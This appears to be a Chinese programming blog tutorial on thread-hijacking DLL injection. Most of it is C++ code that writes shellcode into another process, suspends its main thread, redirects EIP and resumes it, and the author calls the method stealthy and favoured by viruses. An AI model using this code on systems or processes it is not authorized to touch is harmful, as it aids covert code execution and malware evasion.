zoukankan      html  css  js  c++  java
  • 注入理解之挂起线程

    0x00挂起线程注入原理
    1.主要是shellcode注入进程后 要让他在获取线程上下文后,修改到我们写入的ShellCode处执行(修改Eip为ShellCode处的地址)
    2.含义 A->B B做操作在给到A
    //获得线程上下背景文
    Ret = GetThreadContext(ThreadHandle, &OldContext);
    if (Ret==FALSE)
    {
    MessageBox("GetThreadContext 失败");
    return;
    }
    NewContext = OldContext;

    //含义 A->B B做操作在给到A
    #ifdef _WIN64
    NewContext.Rip = (DWORD)AllocBuffer;
    OldEip = NewContext.Rip;
    #else
    NewContext.Eip = (DWORD)AllocBuffer;//下一指令到申请的内存空间处
    OldEip = NewContext.Eip;
    #endif

    //;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
    Ret = WriteProcessMemory(ProcessHandle, ((char*)AllocBuffer) + 1, &OldEip, sizeof(DWORD), NULL);
    if (!Ret)
    {RETURN;}
    3.shellcode构造
    这种注入方式的思路:首先先向目标程序中写入我们的ShellCode,比如说写入LoadLibry加载我们的DLL。然后把目标进程中当主线程挂起,然后获取线程上下文,修改线程上下文中的EIP到我们写入的ShellCode处执行完代码,然后再设置为线程原来的上下文·继续执行,执行完成过后在目标中释放申请的空间。

    具体编程实现大致实现思路:
    构造ShellCode
    VirtualAllocEx在目标进程中申请空间,WriteProcessMemory写入ShellCode
    通过线程快照获取目标主线程
    OpenThread打开线程,SuspendThread挂起线程
    GetThreadContext获取目标主线程线程上下文
    SetThreadContext修改目标主线程上下文到我们写入的ShellCode处执行
    ResumeThread恢复线程让ShellCode执行
    VirtualFreeEx扫尾释放空间

    其实挂起线程注入的思路其实也是挺简单的,而且这种方式相对于常规的DLL注入,隐蔽性更高,一些病毒也比较喜欢用这种方式。
    下面介绍详细的实现步骤。


    0x01 挂起线程注入详细的编程实现
    由于这种注入方式要注入ShellCode,用C++实现比较麻烦一点因为要扣二进制,我也用汇编一个版本,在附件中,这里还是用C++
    ?ShellCode的构造,LoudLibrary加载DLL
    //结构必须字节对齐1
    #pragma pack(1)
    typedef struct _INJECT_CODE
    {
    BYTE byPUSH;
    DWORD dwPUSH_VALUE;
    BYTE byPUSHFD;
    BYTE byPUSHAD;
    BYTE byMOV_EAX; //mov eax, addr szDllpath
    DWORD dwMOV_EAX_VALUE;
    BYTE byPUSH_EAX; //push eax
    BYTE byMOV_ECX; //mov ecx, LoadLibrary
    DWORD dwMOV_ECX_VALUE;
    WORD wCALL_ECX; //call ecx
    BYTE byPOPAD;
    BYTE byPOPFD;
    BYTE byRETN;
    CHAR szDllPath[MAX_PATH];
    }INJECT_CODE, *PINJECT_CODE;
    #pragma pack()


    利用C++注入不用考虑重定位的问题,因为C++中提供offsetof宏可以求出变量偏移,但是在汇编实现中就要考虑求变量的偏移了,如下图

    其实在这注入方式中,最有学习意义的就是ShellCode的构造,我总结了一些我在构造ShellCode中学习到的知识点。
    代码重定位
    在目标进程中,要想实现API调用的难点其实就是传参数,因为我们的注入程序和目标进程中基址是不一样的,这样就注定了写入参数的地址不一样,这就涉及到重定位问题。
    经典的重定位代码。
    Call $+5 ;将下一行的地址入栈,获得目标进程下一行的地址
    FIXADDR: ;这个是注入进程中地址Lable,用于求差值
    Pop ebp ;弹出入栈的目标进程的地址
    Sub ebp,FIXADDR ;求得目标进程与注入进程中的地址差值

    求出了目标进程和注入进程之间的地址差,就可以访问我们写入变量的地址了。

    释放问题
    一定要等所有的ShellCode执行完成再释放空间,否则会有同步问题,导致目标程序崩溃。
    ?打开进程,写入ShellCode
    //打开进程
    g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_dwPid);

    if (!g_hProcess)
    {
    MessageBox("OpenProcess 失败");
    return;
    }


    g_lpBuffer=VirtualAllocEx(g_hProcess,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    if (!g_lpBuffer)
    {
    MessageBox("VirtualAllocEx 失败");
    return;
    }

    //给ShellCode结构体赋值
    ic.byPUSH = 0x68;
    ic.dwPUSH_VALUE = 0x12345678;
    ic.byPUSHFD = 0x9C;
    ic.byPUSHAD = 0x60;
    ic.byMOV_EAX = 0xB8;
    ic.dwMOV_EAX_VALUE = (DWORD)g_lpBuffer + offsetof(INJECT_CODE, szDllPath);
    ic.byPUSH_EAX = 0x50;
    ic.byMOV_ECX = 0xB9;
    ic.dwMOV_ECX_VALUE = (DWORD)&LoadLibrary;
    ic.wCALL_ECX = 0xD1FF;
    ic.byPOPAD = 0x61;
    ic.byPOPFD = 0x9D;
    ic.byRETN = 0xC3;
    memcpy(ic.szDllPath, m_strDllPath.GetBuffer(0), m_strDllPath.GetLength());

    //写入ShellCode
    bRet = WriteProcessMemory(g_hProcess, g_lpBuffer, &ic, sizeof(ic), NULL);
    if (!bRet)
    {
    MessageBox("写入内存失败");
    return;
    }

    ƒ创建线程快照查找目标程序主线程
    //创建线程快照查找目标程序主线程
    te32.dwSize = sizeof(te32);
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
    MessageBox("CreateToolhelp32Snapshot 失败");
    return;
    }

    //遍历查询目标程序主线程ID
    if (Thread32First(hThreadSnap, &te32))
    {
    do
    {
    if (m_dwPid == te32.th32OwnerProcessID)
    {
    dwThreadId = te32.th32ThreadID;
    break;
    }
    } while (Thread32Next(hThreadSnap, &te32));
    }

    ④打开并且挂起目标主线程,获取线程上下文,修改Eip为ShellCode处的地址
    //挂起目标主线程
    bRet = SuspendThread(hThread);

    if (bRet == -1)
    {
    MessageBox("SuspendThread 失败");
    return;
    }

    oldContext.ContextFlags = CONTEXT_FULL;
    bRet = GetThreadContext(hThread, &oldContext);
    if (!bRet)
    {
    MessageBox("GetThreadContext 失败");
    return;
    }
    newContext = oldContext;

    newContext.Eip = (DWORD)g_lpBuffer;

    //;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
    bRet = WriteProcessMemory(g_hProcess, ((char*)g_lpBuffer) + 1, &oldContext.Eip, sizeof(DWORD), NULL);
    if (!bRet)
    {
    MessageBox("写入内存失败");
    return;
    }


    ⑤设置上下文,恢复线程跑起来
    bRet = SetThreadContext(hThread, &newContext);

    if (!bRet)
    {
    MessageBox("SetThreadContext 失败");
    return;
    }

    //然后把主线程跑起来
    bRet = ResumeThread(hThread);

    if (bRet == -1)
    {
    MessageBox("ResumeThread 失败");
    return;
    }


    ⑥扫尾工作,单独设了个函数清除目标进程中申请的空间,注意这个操作务必等待我们的ShellCode执行完再执行,否则会导致目标程序崩溃
    if (!VirtualFreeEx(g_hProcess, g_lpBuffer, 0, MEM_RELEASE))
    {
    MessageBox("VirtualFreeEx 失败");
    return;
    }

    MessageBox("释放对方空间成功");


    详细源码见附件


    实验效果如下,Dll注入成功

  • 相关阅读:
    通过mixins方法处理调取服务器时间
    记录个人对vuex的简单理解
    利用弹性布局实现垂直居中
    vue.set的适用方法
    深拷贝和浅拷贝的实现方法
    Maven安装步骤
    build tools
    Git
    Url和Uri的区别
    函数式编程语言
  • 原文地址:https://www.cnblogs.com/L-Sunny/p/8040519.html
Copyright © 2011-2022 走看看